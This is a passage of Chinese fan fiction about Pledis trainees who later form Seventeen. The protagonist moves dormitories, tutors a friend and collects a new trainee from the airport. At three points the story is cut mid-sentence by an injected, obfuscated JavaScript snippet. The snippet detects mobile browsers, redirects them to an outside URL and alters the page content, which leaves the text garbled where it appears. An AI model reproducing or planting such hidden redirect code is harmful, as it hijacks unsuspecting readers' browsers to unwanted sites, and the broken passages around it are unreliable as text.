“是的,公司预计崔胜澈和李知勋会作为2012年7月8月左右预备出道企划案兄弟团“tempest”的队长和成员出道。”NUEST五个人明年1月份按时出道是板上钉钉的事,兄弟团Tempest五人如果没有意外也会在同年年末亮相舞台。本来,这些内部机密是不该对他透知透底的。 “……好的……我接受。”姜里树心情平静的点点头,他说:“代表nim,我想请两天假去收拾东西,然后搬到孩子们的宿舍去。” “没问题,一会儿我会通知工作人员帮你请好假的。” “谢谢代表nim,那么我就先离开了。”姜里树鞠躬离开。 签完新合同的他愣愣的站在走廊,驱动他动起来的是什么? 无措伤心?不,不是,他对于自己能不能出道其实一直接受良好,能也好,不能也好,公司这个经济情况就算他不是学金融的也知道就差砸锅卖铁了,家族企业对他也是从小耳濡目染,数据他还是会看的。 担忧?确实,只要拖一时或者出现一点动荡‘tempest’的出道计划就会随时停止,甚至告吹,更别提还有紧接着‘tempest’的新的大型男子团体的新出道企划。有些后悔当初没好好听老头子说的那些金融信息了,不该光顾着和他顶嘴了。 姜里树一巴掌呼到了自己的额头上顺手抹了把脸,狠狠地呼出一口气,他现在只想再见见崔胜澈和李知勋两个弟弟。 头一抬就发现,他已经站到了练习室门口,却怎么也抬不起手脚,门里是震耳的音乐声,门外是嘴都张不开的哑巴。 这件事,由他来开口才是最好的吧。像是和他心意相通了似的,门里的音乐声也没有了,紧接着老师从门里走了出来。老师还有点惊讶姜里树为什么会在门外,姜里树非常迅速的和老师解释了一下自己刚从代理办公室回来,就没有进门打断大家训练。老师点点头,就离开了。看着老师走远,姜里树推门而入。 “胜澈啊,知勋,道允,你们都来一下。”姜里树招招手示意弟弟们都聚集过来,他有事要和他们说。 “啊?怎么了?”崔胜澈带着弟弟们快速站起来走到姜里树身边,他以为姜里树去找代理是因为出道的事。 “有一件事一定要和你们说清楚,因为我之前和公司签的合约到期了,现在和公司签订了新的合同。但是经过协商安排我现在需要要到另一个队伍去,不会耽误你们按时出道的…” 姜里树还没解释完就被跳起的崔胜澈打断了。 “你要离开!?” “……”这时候捂住崔胜澈的嘴巴就对了,不然接下来的话一句也说不完,他还会直接跳到公司高层面前去,“听我说完,乖点。” “……”崔胜澈忍住咬他的冲动,压制住愤怒点点头。 “在办公室处理完新合同新事宜后我就来找你和知勋了,第一个告诉的就是你们,是因为这事儿里我最在意的就是你们。 ”看他点头,姜里树也没把捂住崔胜澈的手收回来,他继续说:“第一,公司的规划调整,是我的合约时间赶不上你们的车了,公司给我安排了下一班,你们依旧按时准备出道,我在与不在都不会影响到你们的出道计划;第二,之后弟弟们也需要胜澈来带领和照顾了…” 姜里树看着眼前已经红了眼圈的弟弟们,摸摸这个脑袋,摸摸另一个小脑袋,把每个弟弟们的脑袋都摸了一遍,还有眼前这个“泪包”崔胜澈,他叹了一口气,用捂着崔胜澈嘴的手,揽着他靠近自己,额头对额头看着彼此的眼睛,他对他说:“我一直知道我们胜澈是比我这个懒懒散散的更适合当队长的人,弟弟们交给你我是再放心不过的了,我没有离开,按我们的约定,我会一直一直在你身边的,以后有什么开心或者不开心的都可以来找我,就算不能每时每刻见面,但是我们也在同一栋大楼里的吧,想吃我做的菜或者想和我一起打游戏都可以来找我的,再见面绝对不可以疏远我听到没有,不然我会伤心死的。” “嗯。”崔胜澈带着浓浓的鼻音应了一声。 “第三,对我来说在哪个队出道真的没关系,只有遗憾没能和你们在一起站在同一个舞台上。但我的希望是,我最好的弟弟们能顺顺利利地带着团队出道,然后我们两个队伍能在顶峰相见。” “好吗?”姜里树说完揉了揉崔胜澈的后脖颈,让他放松下来,这个还没哄好,还得继续哄怀里这个,“知勋也是,要照顾好自己好吗?” “嗯…hiong你放心我会照顾好自己的。” 说实在的姜里树不太信李知勋这话,这孩子从入社那天开始就变成一块儿海绵了,总是想把所有的乐理知识装到脑袋里,小小的脑袋对身体是大大的‘负担’。 “好了好了,快擦擦眼泪,一会儿老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205944|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师该回来了,你们和前辈们好好相处,我要先去孩子们的练习室一趟,然后回宿舍搬东西,等收拾好,我再带你们去认认路,好来找我。” 姜里树拍拍眼泪要掉不掉的崔胜澈,又摸了摸李知勋柔软的发丝。 “姜里树,你不是真的要离开了对吧。”崔胜澈红着眼睛抓着他的衣角问他。 “不是离开,我不在这呢吗。” “你保证?” “我保证。” “敢离开我就写歌diss你!”崔胜澈凑到姜里树耳边咬牙切齿的说。 “那我就帮胜澈哥编曲。”被李知勋听到了。 “你们两个……彳亍。” 离开练习室后,姜里树揉了揉酸到发疼的鼻梁骨,抬脚向着另一个方向走去。 还要和权顺荣那几个孩子说一声,好在现在他们那个练习室没有那么多练习生,宿舍多他一个应该也住的下。 “顺荣,圆佑,珉奎,孩子们。”姜里树先和正在玩儿游戏的孩子们打了个招呼后,脱了外套就开始做几组简单的热身运动,让身体的关节灵活起来。 “啊!里树hiong!你来了!要一起玩吗?!”小仓鼠一下跳起来跑到姜里树身边跟着他的动作和节拍也活动了起来。 “你们先玩,我要先活动一下关节。” “好哦!hiong,等你哦!”金珉奎那边做着游戏姿势,嘴里还边招呼着他哥。 全圆佑在一旁看姜里树做热身运动,也过来开始按照姜里树之前教他们的热身运动活动起来。 “圆佑,一会儿玩儿完游戏陪我回一趟宿舍吧,我的一些东西要搬到你们宿舍去。”姜里树不经意间对身边的全圆佑说。 “好…啊?”全圆佑一脸茫然的看着姜里树,以为自己幻听了,小脑袋一歪,发出了猫猫疑惑,“啊?” “我说,我要搬到你们宿舍去啦。”姜里树被这孩子可爱到了,伸手揉了揉孩子满满胶原蛋白的脸颊。 “hiong!你要搬过来了啦!你要加入我们了吗!!!”权顺荣就在身边,自然也听到了他们两个的对话,一蹦三米高的跳到姜里树背上。 “什么!!!hiong你要和我们一起住吗!!!???”金珉奎也带着身下几个孩子一窝蜂的涌了过来,见缝插针的抱住姜里树。 “是啊,以后我来照顾你们啦。” “好耶!!!” 练习室瞬间被孩子们的欢呼声掀了顶,又是蹦又是跳的把姜里树当篝火一样围在中间,姜里树总觉得这个场景有点熟悉,但是又有点想不起来。 “那我们一会儿都和哥一起去帮哥搬行李!”金珉奎抓住姜里树的手晃呀晃。 “安怼!你们乖乖练习,圆佑陪我就够了,我的东西不是很多。”姜里树抬手拍了拍‘小狗’的脑袋,让他乖乖的。 “啊~好吧:-(” “晚上就能看到我了,你们在失落什么啊?”姜里树噗嗤一下被可爱到笑了出来。 “也是哎,开心~” “hiong的东西只有这一箱子吗?” 全圆佑跟着姜里树来到了‘tempest’预备出道团的前辈们的宿舍,和姜里树一起收拾着他为数不多的东西。不多,只是一些和崔胜澈、李知勋一起出去玩照的照片,一些生活用品,姜里树剩下的衣服之类都在他的行李箱里,还有一部分没有装起来,崔胜澈喜欢的卫衣和帽子,每次一洗好,第一个穿上的人一定是他胜澈哩,知勋会喜欢他的一些项链饰品,都留在了李知勋床铺的枕边。 而他好像带走了很多东西,又好像没带走什么。 姜里树倚靠着汉江桥的栏杆,长长的呼出一口气,还是有点不习惯崔胜澈不在身边的感觉啊……哎一古,自己怎么变得这么矫情啊。想了想宿舍里的几个,瞬间就没那么多愁善感了,只觉得热闹的有点偏头痛,想了一下这样的孩子会有十六个,就有种冲动想从这桥上一跃而下。 5. 5.要毕业了? 汉江桥上像幅画的姜里树,在要不要从桥上一跃而下的思想中左右徘徊,然后被人突然拦了下来。 “您好!别冲动!有什么烦心事当一下idol就会好很多!您要不要了解一下!绝对让您不虚此行!”哇,多好的现成idol啊,都不需要培训,光是凭借外貌和气质立马就可以出道啊。 “……抱歉,我已经是练习生了……”而且他不是真的要给汉江桥添业绩。 “啊~这样啊,还真是可惜,可以请问您是在哪家娱乐公司当练习生吗?我是S.M的李星探。” 李星探眼睛的亮光像是被什么夺走了一样,可是看着这张脸,也没有什么娱乐公司发布出道预告啊…啊!Pledis娱乐公司倒是发布了新男团预告,但是没看到这孩子的照片啊,他虽然不是什么过目不忘的记忆,但是这孩子的面容一定是那种一眼就能深深记到脑海的神颜。 “是Pledis Entertainment的练习生,我叫姜里树。”姜里树对着李星探礼貌的鞠躬,居然和S.M的代理一个姓哎。 “那里树要不要考虑一下到我们公司来~我们可是数一数二的大公司!待遇也很好的!”试图挖人。 “非常抱歉,谢谢您的好意。”挖人失败。 “啊呀~先别急着拒绝,这是我的名片,要是您有任何意愿都可以随时联系我们。”S.M星探向您发出邀请。 “……好的,谢谢您。”礼貌收下邀请。 姜里树将印着S.M的名片收到口袋里,对李星探鞠躬转身离开,后来这张名片掉落到宿舍的哪个角落他也忘了,也可能是随着衣服一起洗掉了,揉碎了。 2012年是个特殊的一年。 2012年1月,Pledis Entertainment娱乐有限公司在各国各大网站的官方推出 pledis boys分别分成两个五人组合出道。上半年NUEST出道,下半年Tempest出道。其中金钟炫、姜东昊、黄旼泫,崔珉起,Aron五人组成NUEST,于2012年3月出道。 这一年来了很多很多的弟弟们,崔胜澈和李知勋只要有空就会经常来找姜里树一起玩,偶尔也会来和他一起带着弟弟们做游戏,他们两个人也成了孩子们的新孩子王,一帮孩子王聚在一起,让姜里树很难不有想一跃而下汉江桥的冲动。 主要是崔胜澈,一开始可能还有点儿前辈威严的风范,可是根本坚持不了多久,现在已经和孩子们混到一起了,有时候李知勋拉着他回练习室,都拉不动他,他多大一只,李知勋多大一只,一般都是由姜里树亲自扛着崔胜澈或者背着他把他送回练习室。 在一栋大楼最好的地方就体现出来了,两间练习室离得没那么远,最起码比去楼下便利店还要近,串门那就是分分钟的事。好在崔胜澈他们清闲日子不多要开始对出道的事忙起来了,能让‘SVT’练习室爆炸的事不太常有。 3月份NUEST的前辈们顺利出道,趁着火热度,公司发布预计2012下半年,Pledis推出兄弟团tempest, 成员包括:队长崔胜澈,李知勋,张道允,罗英云,沈佑翔。 没过多久又再次发布:Pledis准备在年末同时推出IDOL组合Seventeen(暂定),由平均年龄17岁的17名男成员组成的Seventeen是男团史上人数规模最大的组合。Pledis方表示,要摆脱先在国内出道再打入海外的既存方式,计划将该组合培养为可以在中日韩同时展开活动的国际性组合。 赫然就是之前金代理对姜里树的那套说辞,一模一样,一字未差。 在此期间,‘Seventeen’的练习室里也顺利迎来了新鲜血液。明明是姜里树接人的任务,却完全变成了抽空出来的崔胜澈的任务,他就这么带着姜里树一个一个的将孩子们从各个地方接了回来,他说:我总要第一个看看你未来的队友们是怎样的孩子,万一哪天你又突然变成了我们刚见面时的样子,一副拒所有人千里之外的样子,那我要上哪哭去。 让人看着心头发软的混血儿崔瀚率,济州岛柑橘夫胜宽,两个新的忙内李灿和金Samuel。特别是李灿,这孩子身上透露出一种让姜里树都安心的沉稳感是怎么回事?好奇怪? 宿舍里的上下铺是加了又加,从一开始姜里树和全圆佑一间,权顺荣和金珉奎一间,剩下的孩子一间,变成了姜树里,李灿,全圆佑,崔瀚率一间,权顺荣,金珉奎,夫胜宽,金Samuel一间,其他孩子一间。好就好在,房子的隔音还算不错,权顺荣他们那一间就算炸房子也没什么,每天上完课还要练习,所以他们一般闹不到多晚。 说到上课,每天最早起来的不是权顺荣,是早起起来给弟弟们做早餐或者买早餐的姜里树,蛋奶全麦面包是必备的碳水,包括他自己都还正是长身体的时候。准备好送权顺荣到车站,目送他上车前嘱咐他一定要好好吃早餐。 回到宿舍的时间就差不多可以叫剩下的孩子们起床吃早餐上学了,和他能一起上学的崔胜澈大部分时间都在跑演出,本来可以是同一栋教学楼的全圆佑可以陪着他,却因为Samuel年龄太小的原因,姜里树会专门送他到校,看着他进校园之后才会踩着滑板快速回自己学校,所以上学的人又变成了只有他自己。 一脑袋的金发让他上哪里都很显眼,买东西是,送弟弟是,上个学也是,就想着要不要染黑,然后就收到了公司的消息:这些头发暂时还不能碰,不仅不能染色还不能不剪短,他后脑勺的头发已经留到超过肩胛骨了…淦(中文)。 “hiong,你是不是快要毕业了?” 正在和全圆佑一起放学回家的姜里树突然听到自家弟弟突然这么问他。 “是啊,明年2月份。” “…那胜澈哥…他能安全毕业吗?”全圆佑犹豫了一下问了出来。 “……”被弟弟一句话问沉默了的姜里树想着崔胜澈的出勤率和考试成绩,“一会儿我问问他。” 信息 里树:胜澈啊,你还记得明年2月份我们就要毕业了吗? 二十分钟后 胜澈哩:…啊…… 胜澈哩:!!! 胜澈哩:救命啊!!!!! 胜澈哩:你会帮我的吧里树!你一定会帮我的吧!!!!! 胜澈哩:今晚我就去找你补习!!!!! 胜澈哩:快点回我话啊!!!!!!!!!!!!!!!!!!!!!…… ……… “……”还真是辛苦了呢,胜澈哩。 因为成为了晚一步出道企划的人,之前紧密的行程现在一下子空闲了下来,姜里树也能按时上下学,不会再动不动长时间请假,落下的课程也都抽空捡起来了,上次基础文化小考的成绩还很不错,老师让他继续保持的基础上再提一提。 晚上的时候崔胜澈真的带着他的书本来到姜里树他们宿舍,和孩子们打完招呼两个人就跑到前不久姜里树刚收拾出来的狭小杂物间里坐在一起,头挨着头开始学习,他还寻思着抽个空住进来,就是他的单人间了,这样后面新来的孩子也有位置住,还能和其他孩子多交流交流感情。 姜里树将重点在崔胜澈的书本上画出来,然后逐一讲解,确认他真的明白了再和他讲解大考方面的考题预测。重国人好像天生就对考题的预测有一种难以言说的准确感,崔胜澈几次考试大题都碰到了,不然他请假离校也不会那么安稳。 “啊——好累啊,但是过的好充足。”崔胜澈从题海里伸了个大大的懒腰,随后顺势挂在了坐在一旁的姜里树身上撒着娇,“里树啊,我饿了~” “?”姜里树收拾着桌子上的东西,听到崔胜澈说他饿了挑了一下眉,“那我给你叫外卖?” “安——怼——”崔胜澈拿脑袋蹭着姜里树的颈窝,奶里奶气的把声音拖的很长。 “那我去看看冰箱里还有什么菜,拉面可以吗?” 姜里树没管挂在脖子上的崔胜澈,他站起身,身上的崔胜澈就顺着他起身,然后挂在了他的腰上。 “完全没问题!”小猪包下巴顶着姜里树的腹部,抬起的小脸上那双圆溜溜的黑眼睛特别水亮。 “那你去帮我问问其他孩子要不要吃,我等会儿一起做出来,不然你吃的时候没做他们的又要闹起来了。” “好————” 崔胜澈第一次来宿舍的时候,姜里树给他做的日式拉面,结果让屋子里还有刚回来的孩子们看见了,都嚷嚷着要吃,金珉奎那小子还摇着姜里树的胳膊说他偏心,权顺荣已经乖乖坐到他胜澈哥的旁边大张着嘴等待投喂了,全圆佑顺着香味牵着Samuel跑到厨房里去盛锅里的了。 “孩子们!要不要吃拉面夜宵!” “要!!!” 崔胜澈一嗓子喊出了兔子洞里的所有的小兔子们。 姜里树认命的系上围裙,把金珉奎也拽了过来一起做饭。 “hiong,做日式拉面吗?”金珉奎扒拉着橱柜,找着拉面。 “对。” “那hiong我要多加一个蛋!” “好,给你们都加。” “好耶!”孩子们一起欢呼了起来。 崔胜澈抱着胳膊倚在冰箱旁边看着孩子们,又看向切着食材的姜里树,眼里温柔都要溢出来了。 吃完夜宵不用姜里树发话,孩子们自行分工明确,崔瀚率带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205945|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李灿擦桌子,夫胜宽和全圆佑,权顺荣收着碗筷,然后石头剪刀布分出谁洗碗,大多时候全圆佑和夫胜宽都会偷偷给权顺荣这个第二天要起很早很早的亲故和哥哥放水,让权顺荣收好碗筷就去看着其他弟弟们洗漱之类的,尽量不耽误他让他早点休息睡觉。 等一切忙完,姜里树看已经过了饭后半小时的规定,拍着手招呼孩子们该洗漱的洗漱,洗漱好的赶快睡觉。 安排好孩子们,姜里树转头看向一旁的崔胜澈,没等他开口,就听见他说:“今晚我也住这。” “行,睡衣在我房间的衣柜里,先去换睡衣,我把你的洗漱用品找出来。”姜里树点点头习以为常的去找属于崔胜澈那套洗漱用品,他又突然转身问他:“你明天早上要早起吗?” “啊,明天早晨有个外出路演,开始时间和你们上学的时间差不多。” “好。”姜里树点点头继续去找。 等姜里树和崔胜澈最后一个洗漱好的时候,姜里树去看了一圈孩子们有没有盖好被子后回到了自己的床铺。大多数孩子都已经睡着了,个别一两个还是半梦半醒之间,李灿就是其中一个,感觉到身边传来了熟悉的竹叶夹杂着茶香的味道后,他就没意识了。 一夜也算是好眠吧,姜里树是在熟悉的像是被蟒蛇缠绕的窒息感中醒来的,他睡觉是不怎么动的那一类的,崔胜澈就是睡觉喜欢极致缠绕的那一类的,胳膊锁住姜里树的脖子和腰,腿压在他的双腿上,姜里树醒来的时候一只手已经不自觉挣扎着扒在了崔胜澈锁喉的胳膊上。你问还有一只手去哪了?在李灿怀里,这孩子因该是靠着窗的原因有点儿冷,感受到热源就也贴了过来,整个人一小团的缩在姜里树的胳膊旁。 “澈哩啊,放开我,我要去做早餐了。”实在扯不开崔胜澈的胳膊,姜里树只能用空着的那只手拍拍他。 “安怼——”锁的更紧了。 “#啧。” 跟没睡醒的人说什么,再拖一会儿,小仓鼠就要吃不上早餐了。姜里树一口咬在崔胜澈的胳膊上,他已经感到大脑缺氧了,眼前的奈何桥一闪一闪的,还有个老婆婆在对他招手。 “嗷呜!痛…”小猪包发出委委屈屈的迷糊声,好歹是把胳膊腿都收回去了,整个人卷走了所有被子和李灿一样把自己团在了被子里。 姜里树良心一点不痛的哼了一声,可还是轻手轻脚的小心越过又睡过去的小猪团子。 起来的时候果然权顺荣已经开始洗漱了。 “顺荣啊,哥去给你做早饭。”姜里树洗了把脸,刷了牙就去做早餐了,一头金毛炸着也没管。 “好~谢谢里树hiong…”权顺荣刷着牙脑袋困的一点一点的,深呼吸想清醒一下还被牙膏沫呛到了。 “多做了两份三明治,已经放到你书包的侧边了,路上要注意安全啊。” “好哦,我去上学了!里树hiong~”权顺荣抱了一下姜里树,就同他挥着手上了公车。 回宿舍的路上姜里树收到了经纪人姐姐的消息,让他下午四点去机场接个通过重国深圳区面试的孩子。昨天和朴室长聊天的时候说过他朋友给他推荐了一个孩子,高音音色非常棒,大概也是这两天会来。一下子要来两个孩子,看来要抓紧搬到杂物室了。 姜里树回到宿舍挨个把孩子们叫起来,这个拍一拍,那个揉揉脑袋轻声把大家叫起来洗漱吃早餐,最后一个把有起床气的大魔王叫起来。上次夫胜宽叫他一个锁喉差点把孩子勒休克过去,被松开的时候就看见夫胜宽灵魂已经走了有一会儿。 “胜澈,胜澈?快醒醒。”姜里树坐在下铺床边叫着把头都蒙起来的崔胜澈。 “…安怼…”耳朵听见了,身体不想起。 “…快起来,崔胜澈!”是你逼我的。 “都说了不要连名带姓的叫我啊!!!”听到自己全名的崔胜澈条件反射性的掀开被子猛地坐了起来,起太急,晕的一脑袋砸在了姜里树的锁骨上,疼得两个人倒吸一口气。 “所以快点起来洗漱啊。 ”姜里树疼得皱着眉拍拍另一个脑袋疼得哼哼唧唧的人。 “啊啦搜啊啦搜…”崔胜澈捂着额头坐了起来,准备先换衣服再去洗漱。 两个人吃早餐的时候,姜里树和崔胜澈说下午要去机场接新来的孩子,崔胜澈急匆匆的咽下牛奶说他也要一起去。 “下午四点,你们下午没有路演行程了?” “没有”,他摇了摇头,“下午六点后要等其他人齐一起训练。” “好,那我去的时候给你打电话。” 姜里树准备上午去学校把课上了,顺便和老师把下午的假请了,中午回来把杂物间收拾起来把行李搬进去,把床铺位置给新来的孩子腾出来。 6. 6.帕苏! 下午四点的首尔仁川国际机场。 阳光穿透巨大的落地玻璃,在光洁如镜的大理石地面上铺展开一片巨大而温和的金色。 广播里交替播放着韩语、英语、中文的登机通知,声音清晰温和。人们在这里完成身份的微妙转换,从归人变为旅人,或从故人变成异客。机场咖啡厅里飘出烘焙的香气,与清洁剂冷静的气味混合在一起,构成了这里独有的、一种关于“过渡”与“暂留”的气息。 “没有照片吗?” “没有呢。” “他们不会是在为难你吧?”黑发少年皱起英气的浓眉。 “哪里的话,大概是忘了吧。”金发少年倒是无所谓的摆摆手。 “那怎么认人啊?” “凭感觉吧…”这事又不是第一次了。 接机口人流熙攘,却掩不住那两个少年郎格外醒目的存在。他们正相互交谈着,一个神色平淡嘴角带着笑意,一个眉眼间已隐约透出些不耐烦的躁意,出色的样貌引得周围目光悄然流连。 “会不会是那边那个?”崔胜澈压下心头那股的火气,视线越过人群,忽然锁定了一个方向。 不远处,独自站着个茫然的少年。棕栗色发丝在明亮的机场灯光下显得很柔软,身姿挺拔,明明站在嘈杂的人潮里,周身却仿佛隔着一层安静的屏障,那种格格不入的抽离感,倒让他一眼就被认了出来。 “有点像金希澈前辈,感觉就是他了。”崔胜澈嘀咕了一句,略带暴躁的语气中夹杂着点惊讶。 “直接去问问。”姜里树接过话,声音平静。他没再多说,径自迈开步子,朝着那个仿佛自带“结界”的身影走了过去,崔胜澈也立刻跟了上去。 “你好,请问是文俊辉吗?(中文)” 正低头看手机的少年闻声抬头,眼里的倦意忽然定住了。他眨了眨眼,似乎花了半秒来确认这句无比熟悉的乡音,并非出自自己的幻觉。 “对,我是!”他几乎是脱口而出,身体也跟着这句中文不自觉地站直了些,脸上浮起毫不掩饰的惊喜,“您会说中文?” 他的目光不由地在对方脸上多停了一瞬——那头浅金色的中长发和翠绿的眼眸,格外立体的五官,怎么看都更像是在米兰或巴黎的街头才会遇见的样貌。可偏偏从那口中吐出的音节,清晰又自然,甚至比自己这个离家远赴异国的人,还少了那点不自觉被带偏的腔调。 “我也是重国人,家在重国澳门,只是我更像我妈妈一些,她是俄国人。”姜里树唇角扬起一个了然温柔的弧度,不张扬,却像一扇忽然被阳光轻轻推开的窗——光静静地漫进来,让周遭的空气都慢了半拍。 文俊辉的眼睛瞬间亮了起来,像两颗被骤然点亮的星星。“您也是中国人?!”他几乎是惊喜地脱口而出,连一路上压在心头那份关于独自在异国他乡、言语不通的隐约忐忑,在这一刻忽然找到了一个安稳的锚点。“真是太好了,我还在烦恼孤身一人来到韩国,语言沟通有误的问题,有您在真是太好了!” “不必那么客气,我叫姜里树,九五年的,你应该比我小吧,可以叫我里树或者里树哥都可以哦,而且澳门和深圳那么近,我们也算半个老乡啊。”姜里树抬起手,轻轻落在文俊辉因激动而微微起伏的肩上,动作温和而自然,没有过度的热情,但也绝对不会让他觉得冷漠。 “哥!”文俊辉声音微哽,几乎是毫不犹豫地,将这个称呼清晰地唤了出来。那声音里带着一点不易察觉的颤抖,深怕慢一秒这个依靠就会转身即逝。 “别哭~”姜里树将放在文俊辉肩膀上的手抬高安抚的摸了摸少年人的头发,“这是我的亲故,崔胜澈,是个脾气很好的孩子和我是同一年的。” “倪好!窝叫,崔胜澈儿。”和姜里树刚学的中文,发音还算标准,带着点老北京人儿的儿化音。 “前辈!您好!(韩语)”文俊辉听到发音笑了起来,他来韩国前多少知道韩国的前后辈文化,也很礼貌的对崔胜澈鞠躬。 在他鞠躬的时候,姜里树按习惯侧身避开,在人站起来的时候又迅速站好。 “走吧,我们先带你去公司面试,结束以后就可以回宿舍休息了,再坚持一下吧。(中文)”姜里树先一步上前握住文俊辉的手腕,牵着他和崔胜澈一起回去。 “好的哥!(中文)” “……刚刚我就想说了,你们两个可不可以不要背着我加密通话,我刚刚真的忍了很久了!(韩语)”崔胜澈也握住姜里树的手,另一只手也不闲下来的戳着姜里树的腰侧。 “俊辉韩语还不是很熟练,中文是能最好和他沟通的语言了,你让我这个重国人和重国人讲韩语?”姜里树回了他一胳膊肘让他好好走路。 “哦…”加密通话没听懂还被肘击了一下,猪猪包不太开心。 “回去带你去吃炸鸡。”捏了捏他的手。 那还差不多,朕就原谅你了。 Pledis社 崔胜澈和姜里树约定好时间就先回练习室了,姜里树负责带着文俊辉去面试。 “金代理,孩子带回来了,现在要开始面试吗?我在外面等候。” “是里树啊,没事的,你坐到旁边等候吧,这说不定以后也会是你的队员,你正好也看看这孩子的表现。”金代理温厚的语气安排好了两人接下来的事宜。 “好的。”他身体微弓回应,转头给文俊辉也解释了一下,“别紧张,这是咱们公司的金代理,为人很亲切的,他旁边坐的是现在正在教我们舞蹈的慧琳姐姐,接下来就是正式面试,把你的才艺统统拿出来就好,我就在旁边,有不懂的我会及时给你翻译的。(中文)” “嗯!”已经好很多了,没前面坐在飞机上那么紧张了。 接下来的时间,文俊辉用着磕磕绊绊的韩语做了个自我介绍后,金代理和慧琳老师都问了几个重点问题,旁的闲聊问题一个也没问,完全没有浪费时间,姜里树坐在旁边给双方当着翻译。没有问题后,就是个人展示,文俊辉先唱了一首中文歌曲,很符合他柔软的声线,彻底让金代理和慧琳姐露出微笑的是文俊辉自学的一段控制式的舞蹈,很有魅力点,镜头感非常好,总的来说就是完美通过。 姜里树在门外和文俊辉的行李一起等待面试完双方签订合同流程结束,基本就是紧接着姜里树第二个立马成为“Seventeen”预备出道企划案第二位选定成员。新团体面向中日韩,十七个人只有姜里树一名重国人是肯定不行的,文俊辉的表现力不俗,被签下来完全不是问题。姜里树想着,他俩也算是吃到异国人的红利了。 “里树啊,进来一下。”会议室的门被打开,慧琳老师叫他进去。 “代表nim,慧琳老师。” “以后文俊辉就是你的第一个成员了,你们照顾好彼此,让他也住到你们宿舍去吧。” “好的,代表nim。” 姜里树带着文俊辉离开会议室后,放松的呼出了一口气,扭头对着身边还是有些紧张的文俊辉笑着说:“刚刚表现的非常不错啊,没想到我们俊辉深藏不漏啊。” “哪有,哥你就别笑我了。”夸的文俊辉耳朵都红了起来了。 “真的很不错,练习室里有个舞蹈天分特别好的弟弟叫权顺荣,你们有空可以交流交流舞蹈经验。” “他们…会不会有不太好相处的……”文俊辉来到韩国前就有些担忧韩国的前后辈文化和霸凌情况,现在语言问题有姜里树在他身边学习起来是早晚的事,只有这两个,让他很不安。 “都是很好的孩子,完全没有前后辈那套刻板的生分,霸凌在我们那个练习室是没有的,有我在。”他不会让在他身上发生的事有机会出现在这些孩子身上,“平时你和我们走在一起,其他人看到了会保持分寸的。” 文俊辉似有了解的点点头,跟在姜里树身边,并肩走在回宿舍的路上。 “啊!你要做个心理准备”,姜里树突然出声卖了个关子,看文俊辉果然紧张了起来,继续说:“宿舍有点挤,孩子们有点多,倒不怎么乱,怎么样是不是有点掉进坑里的感觉。” “哥!你吓了我一跳,我还以为怎么了。”文俊辉无奈的抹了把脸。 “那没办法,合同你都签了,跑不掉了。”姜里树走的摇头晃脑的。 “哎一古,哥你是小孩子吗?(韩语)” “哎呦?韩语说的不错哦。(中文)” 到了宿舍门口,两人将鞋子脱在门口进了屋。 文俊辉看了一圈屋内装饰设计,可能是木地板装修都带点共有性吧,他看着还有点点亲切。 姜里树领着文俊辉到了他之前睡的位置。 “衣柜已经给你腾出来啦,你睡靠外这个下铺,上铺是九六年七月生的圆佑,是个睡觉安安分分的孩子,你旁边是九九年二月生的忙内之一的李灿,最近应该是靠窗有些冷,晚上会不自觉的靠过来,没什么问题吧?他的上铺是九八年二月生的崔瀚率,也是位安安静静的美男子一枚。” “都很乖啊,那很好了。”文俊辉把书包放到床上还在到处观察着。 “我特意安排的……另外几只‘比格’在隔壁,你不会想突然看到有人在床上跳起舞,旁边还氛围伴舞,Rap,主持加唱歌的……最后一间目前空着,如果让你一个人住进去晚上会偷偷在被窝里哭泣吧,所以多和孩子们亲近亲近吧。” “……”文俊辉在听到姜里树把隔壁孩子们比作‘比格’的时候被口水呛了一下,在他的“控诉”下保持沉默,又在“偷偷哭泣” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205946|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里红了耳朵,他说:“你辛苦了哥。” “不辛苦,命苦。”姜里树擦了擦眼角莫须有的泪,让文俊辉可以先收拾一下行李,他也要去收拾下杂物间,收拾好了之后打电话叫孩子们一起去吃饭,他请客吃烤肉。 杂物间过于狭长,宽度也不过一米二三的样子,长三米二三,定制的床正好卡在两墙之间,床头靠墙的位置放了一张高于床五十厘米的桌子,他把公寓的电脑搬了过来,放在那个位置刚刚好,床尾是门,门后正好放下一个小衣柜,可谓是把每一寸空间都用到了极致。 东西收拾了个大概,姜里树带着文俊辉去烤肉店点单,然后开始给弟弟们打电话,他边烤肉边打电话,文俊辉疑惑的看着姜里树从进店就一直没有停下的动作,一直在忙,就帮他举着手机播着号码。 “圆佑啊,等会儿把孩子们都叫上,到老地方,哥请你们吃烤肉…” “胜澈,来的时候把知勋也带上,在老地方,我已经点好单了…” 